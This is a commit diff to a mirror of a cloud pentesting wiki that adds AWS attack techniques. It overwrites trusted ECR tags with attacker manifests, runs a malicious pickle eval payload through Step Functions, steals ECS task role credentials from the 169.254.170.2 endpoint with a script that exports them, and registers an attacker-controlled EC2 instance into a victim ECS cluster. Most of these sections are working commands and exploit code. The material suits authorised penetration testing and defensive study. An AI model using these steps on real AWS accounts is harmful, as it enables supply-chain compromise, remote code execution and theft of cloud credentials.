mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
f
This commit is contained in:
@@ -55,6 +55,68 @@ After downloading the images you should **check them for sensitive info**:
|
|||||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
### Overwrite a Trusted Tag via `ecr:PutImage` (Tag Hijacking / Supply Chain)
|
||||||
|
|
||||||
|
If consumers deploy by tag (for example `stable`, `prod`, `latest`) and tags are mutable, `ecr:PutImage` can be used to **repoint a trusted tag** to attacker-controlled content by uploading an image manifest under that tag.
|
||||||
|
|
||||||
|
One common approach is to copy the manifest of an existing attacker-controlled tag (or digest) and overwrite the trusted tag with it.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
REGION=us-east-1
|
||||||
|
REPO="<repo_name>"
|
||||||
|
SRC_TAG="backdoor" # attacker-controlled tag already present in the repository
|
||||||
|
DST_TAG="stable" # trusted tag used by downstream systems
|
||||||
|
|
||||||
|
# 1) Fetch the manifest behind the attacker tag
|
||||||
|
MANIFEST="$(aws ecr batch-get-image \
|
||||||
|
--region "$REGION" \
|
||||||
|
--repository-name "$REPO" \
|
||||||
|
--image-ids imageTag="$SRC_TAG" \
|
||||||
|
--query 'images[0].imageManifest' \
|
||||||
|
--output text)"
|
||||||
|
|
||||||
|
# 2) Overwrite the trusted tag with that manifest
|
||||||
|
aws ecr put-image \
|
||||||
|
--region "$REGION" \
|
||||||
|
--repository-name "$REPO" \
|
||||||
|
--image-tag "$DST_TAG" \
|
||||||
|
--image-manifest "$MANIFEST"
|
||||||
|
|
||||||
|
# 3) Verify both tags now point to the same digest
|
||||||
|
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$DST_TAG" --query 'imageDetails[0].imageDigest' --output text
|
||||||
|
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$SRC_TAG" --query 'imageDetails[0].imageDigest' --output text
|
||||||
|
```
|
||||||
|
|
||||||
|
**Impact**: any workload pulling `.../$REPO:$DST_TAG` will receive attacker-selected content without any change to IaC, Kubernetes manifests, or task definitions.
|
||||||
|
|
||||||
|
#### Downstream Consumer Example: Lambda Container Images Auto-Refreshing on Tag Updates
|
||||||
|
|
||||||
|
If a Lambda function is deployed as a **container image** (`PackageType=Image`) and uses an **ECR tag** (e.g., `:stable`, `:prod`) instead of a digest, overwriting that tag can turn supply-chain tampering into **code execution inside the Lambda execution role** once the function is refreshed.
|
||||||
|
|
||||||
|
How to enumerate this situation:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
REGION=us-east-1
|
||||||
|
|
||||||
|
# 1) Find image-based Lambda functions and their ImageUri
|
||||||
|
aws lambda list-functions --region "$REGION" \
|
||||||
|
--query "Functions[?PackageType=='Image'].[FunctionName]" --output text |
|
||||||
|
tr '\t' '\n' | while read -r fn; do
|
||||||
|
img="$(aws lambda get-function --region "$REGION" --function-name "$fn" --query 'Code.ImageUri' --output text 2>/dev/null || true)"
|
||||||
|
[ -n "$img" ] && printf '%s\t%s\n' "$fn" "$img"
|
||||||
|
done
|
||||||
|
|
||||||
|
# 2) Check whether a function references a mutable tag (contains ":<tag>")
|
||||||
|
# Prefer digest pinning (contains "@sha256:") in well-hardened deployments.
|
||||||
|
```
|
||||||
|
|
||||||
|
How refresh often happens:
|
||||||
|
|
||||||
|
- CI/CD or GitOps regularly calls `lambda:UpdateFunctionCode` (even with the same `ImageUri`) to force Lambda to resolve the tag again.
|
||||||
|
- Event-driven automation listens for ECR image events (push/tag updates) and triggers a refresher Lambda/automation.
|
||||||
|
|
||||||
|
If you can overwrite the trusted tag and a refresh mechanism exists, the next invocation of the function will run attacker-controlled code, which can then read environment variables, access network resources, and call AWS APIs using the Lambda role (for example, `secretsmanager:GetSecretValue`).
|
||||||
|
|
||||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||||
|
|
||||||
An attacker with any of these permissions can **create or modify a lifecycle policy to delete all images in the repository** and then **delete the entire ECR repository**. This would result in the loss of all container images stored in the repository.
|
An attacker with any of these permissions can **create or modify a lifecycle policy to delete all images in the repository** and then **delete the entire ECR repository**. This would result in the loss of all container images stored in the repository.
|
||||||
|
|||||||
@@ -56,10 +56,25 @@ aws ecs submit-container-state-change ...
|
|||||||
aws ecs submit-attachment-state-changes ...
|
aws ecs submit-attachment-state-changes ...
|
||||||
```
|
```
|
||||||
|
|
||||||
|
#### Join the Cluster With an Attacker Host (Register Container Instance)
|
||||||
|
|
||||||
|
Another variant (more direct than draining) is to **add capacity you control** into the cluster by registering an EC2 instance as a container instance (`ecs:RegisterContainerInstance`) and setting the required container instance attributes so placement constraints match. Once tasks land on your host, you can inspect/exec into containers and harvest `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI` credentials.
|
||||||
|
|
||||||
|
See the ECS privesc page section on `ecs:RegisterContainerInstance` for the full workflow.
|
||||||
|
|
||||||
### Steal sensitive info from ECR containers
|
### Steal sensitive info from ECR containers
|
||||||
|
|
||||||
The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them).
|
The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them).
|
||||||
|
|
||||||
|
### Steal Task Role Credentials via `ecs:ExecuteCommand`
|
||||||
|
|
||||||
|
If `ExecuteCommand` is enabled on a task, a principal with `ecs:ExecuteCommand` + `ecs:DescribeTasks` can open a shell inside the running container and then query the **task credentials endpoint** to harvest the **task role** credentials:
|
||||||
|
|
||||||
|
- From inside the container: `curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"`
|
||||||
|
- Use the returned `AccessKeyId/SecretAccessKey/Token` to call AWS APIs as the task role
|
||||||
|
|
||||||
|
See the ECS privilege escalation page for enumeration and command examples.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -73,6 +73,54 @@ aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
### `states:StartExecution` -> Input Injection Into Dangerous Sinks
|
||||||
|
|
||||||
|
`states:StartExecution` is a data-plane entrypoint. If a state machine forwards attacker-controlled input into a task that contains a dangerous sink (for example a Lambda that does `pickle.loads(base64.b64decode(payload_b64))`), you can sometimes turn **StartExecution** into **code execution** and **secret exfiltration** through the execution output, without any permission to update the state machine.
|
||||||
|
|
||||||
|
#### Discover the workflow and the invoked Lambda
|
||||||
|
|
||||||
|
If you have `states:List*` / `states:Describe*`, you can enumerate and read the state machine definition:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
REGION=us-east-1
|
||||||
|
SM_ARN="<state_machine_arn>"
|
||||||
|
|
||||||
|
aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text
|
||||||
|
```
|
||||||
|
|
||||||
|
If you also have `lambda:GetFunction`, you can download the Lambda code bundle to understand how input is processed (and confirm whether unsafe deserialization exists):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
LAMBDA_ARN="<lambda_arn_from_definition>"
|
||||||
|
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
|
||||||
|
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
|
||||||
|
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
|
||||||
|
ls -la /tmp/lambda_code
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Example: crafted pickle in execution input (Python)
|
||||||
|
|
||||||
|
If the Lambda unpickles attacker-controlled data, a malicious pickle can execute code during deserialization. Example payload that evaluates a Python expression in the Lambda runtime:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
PAYLOAD_B64="$(python3 - <<'PY'
|
||||||
|
import base64, pickle
|
||||||
|
|
||||||
|
class P:
|
||||||
|
def __reduce__(self):
|
||||||
|
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
|
||||||
|
return (eval, ("__import__('os').popen('id').read()",))
|
||||||
|
|
||||||
|
print(base64.b64encode(pickle.dumps(P())).decode())
|
||||||
|
PY
|
||||||
|
)"
|
||||||
|
|
||||||
|
EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
|
||||||
|
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text
|
||||||
|
```
|
||||||
|
|
||||||
|
**Impact**: Whatever permissions the task role has (Secrets Manager reads, S3 writes, KMS decrypt, etc.) can become reachable via crafted input, and the result may be returned in the Step Functions execution output.
|
||||||
|
|
||||||
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
||||||
|
|
||||||
An attacker who compromises a user or role with the following permissions:
|
An attacker who compromises a user or role with the following permissions:
|
||||||
@@ -202,4 +250,3 @@ The attacker can even more stealthy to update the state definition to something
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -20,6 +20,16 @@ For more info on how to download images:
|
|||||||
|
|
||||||
An attacker with the all those permissions **can login to ECR and upload images**. This can be useful to escalate privileges to other environments where those images are being used.
|
An attacker with the all those permissions **can login to ECR and upload images**. This can be useful to escalate privileges to other environments where those images are being used.
|
||||||
|
|
||||||
|
In addition, `ecr:PutImage` can be used to **overwrite an existing tag** (for example `stable` / `prod`) by uploading a different image manifest under that tag, effectively hijacking tag-based deployments.
|
||||||
|
|
||||||
|
This becomes especially impactful when downstream consumers deploy by tag and **auto-refresh** on tag changes, such as:
|
||||||
|
|
||||||
|
- **Lambda container image functions** (`PackageType=Image`) referencing `.../repo:stable`
|
||||||
|
- ECS services / Kubernetes workloads pulling `repo:prod` (without digest pinning)
|
||||||
|
- Any CI/CD that redeploys on ECR events
|
||||||
|
|
||||||
|
In those cases, a tag overwrite can lead to **remote code execution** in the consumer environment and privilege escalation to the IAM role used by that workload (for example, a Lambda execution role with `secretsmanager:GetSecretValue`).
|
||||||
|
|
||||||
To learn how to upload a new image/update one, check:
|
To learn how to upload a new image/update one, check:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
|
|||||||
@@ -272,6 +272,24 @@ aws ecs execute-command --interactive \
|
|||||||
--task "$TASK_ARN"
|
--task "$TASK_ARN"
|
||||||
```
|
```
|
||||||
|
|
||||||
|
Once you have a shell inside the container, you can typically **extract the task role credentials** from the task credentials endpoint and reuse them outside the container:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
# Inside the container:
|
||||||
|
echo "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||||
|
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | jq
|
||||||
|
|
||||||
|
# If you want to use them locally, print shell exports:
|
||||||
|
python3 - <<'PY'
|
||||||
|
import json, os, urllib.request
|
||||||
|
u = "http://169.254.170.2" + os.environ["AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"]
|
||||||
|
d = json.load(urllib.request.urlopen(u, timeout=2))
|
||||||
|
print("export AWS_ACCESS_KEY_ID=" + d["AccessKeyId"])
|
||||||
|
print("export AWS_SECRET_ACCESS_KEY=" + d["SecretAccessKey"])
|
||||||
|
print("export AWS_SESSION_TOKEN=" + d["Token"])
|
||||||
|
PY
|
||||||
|
```
|
||||||
|
|
||||||
- If he has **`ecs:RunTask`**, run a task with `aws ecs run-task --enable-execute-command [...]`
|
- If he has **`ecs:RunTask`**, run a task with `aws ecs run-task --enable-execute-command [...]`
|
||||||
- If he has **`ecs:StartTask`**, run a task with `aws ecs start-task --enable-execute-command [...]`
|
- If he has **`ecs:StartTask`**, run a task with `aws ecs start-task --enable-execute-command [...]`
|
||||||
- If he has **`ecs:CreateService`**, create a service with `aws ecs create-service --enable-execute-command [...]`
|
- If he has **`ecs:CreateService`**, create a service with `aws ecs create-service --enable-execute-command [...]`
|
||||||
@@ -299,9 +317,51 @@ Check in the **ec2 privesc page** how you can abuse these permissions to **prive
|
|||||||
|
|
||||||
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
|
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
|
||||||
|
|
||||||
An attacker with these permissions could potentially register an EC2 instance in an ECS cluster and run tasks on it. This could allow the attacker to execute arbitrary code within the context of the ECS tasks.
|
An attacker with these permissions can often **turn "cluster membership" into a security boundary bypass**:
|
||||||
|
|
||||||
- TODO: Is it possible to register an instance from a different AWS account so tasks are run under machines controlled by the attacker??
|
- Register an **attacker-controlled EC2 instance** into a victim ECS cluster (becoming a container instance)
|
||||||
|
- Set custom **container instance attributes** to satisfy **placement constraints**
|
||||||
|
- Let ECS schedule tasks onto that host
|
||||||
|
- Steal **task role credentials** (and any secrets/data inside the container) from the task running on your host
|
||||||
|
|
||||||
|
High-level workflow:
|
||||||
|
|
||||||
|
1) Obtain an EC2 instance identity document + signature from an EC2 instance you control in the target account (for example via SSM/SSH):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s http://169.254.169.254/latest/dynamic/instance-identity/document > iidoc.json
|
||||||
|
curl -s http://169.254.169.254/latest/dynamic/instance-identity/signature > iisig
|
||||||
|
```
|
||||||
|
|
||||||
|
2) Register it into the target cluster, optionally setting attributes to satisfy placement constraints:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
aws ecs register-container-instance \
|
||||||
|
--cluster "$CLUSTER" \
|
||||||
|
--instance-identity-document file://iidoc.json \
|
||||||
|
--instance-identity-document-signature "$(cat iisig)" \
|
||||||
|
--attributes name=labtarget,value=hijack
|
||||||
|
```
|
||||||
|
|
||||||
|
3) Confirm it joined:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
aws ecs list-container-instances --cluster "$CLUSTER"
|
||||||
|
```
|
||||||
|
|
||||||
|
4) Start a task / update a service so something schedules on the instance, then harvest task role creds from inside the task:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# On the container host:
|
||||||
|
docker ps
|
||||||
|
docker exec -it <container-id> sh
|
||||||
|
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||||
|
```
|
||||||
|
|
||||||
|
Notes:
|
||||||
|
|
||||||
|
- Registering a container instance using the instance identity document/signature implies you have access to an EC2 instance in the target account (or have compromised one). For cross-account "bring your own EC2", see the **ECS Anywhere** technique in this page.
|
||||||
|
- Placement constraints commonly rely on container instance attributes. Enumerate them via `ecs:DescribeServices`, `ecs:DescribeTaskDefinition`, and `ecs:DescribeContainerInstances` to know which attributes you need to set.
|
||||||
|
|
||||||
|
|
||||||
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
|
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
|
||||||
|
|||||||
Reference in New Issue
Block a user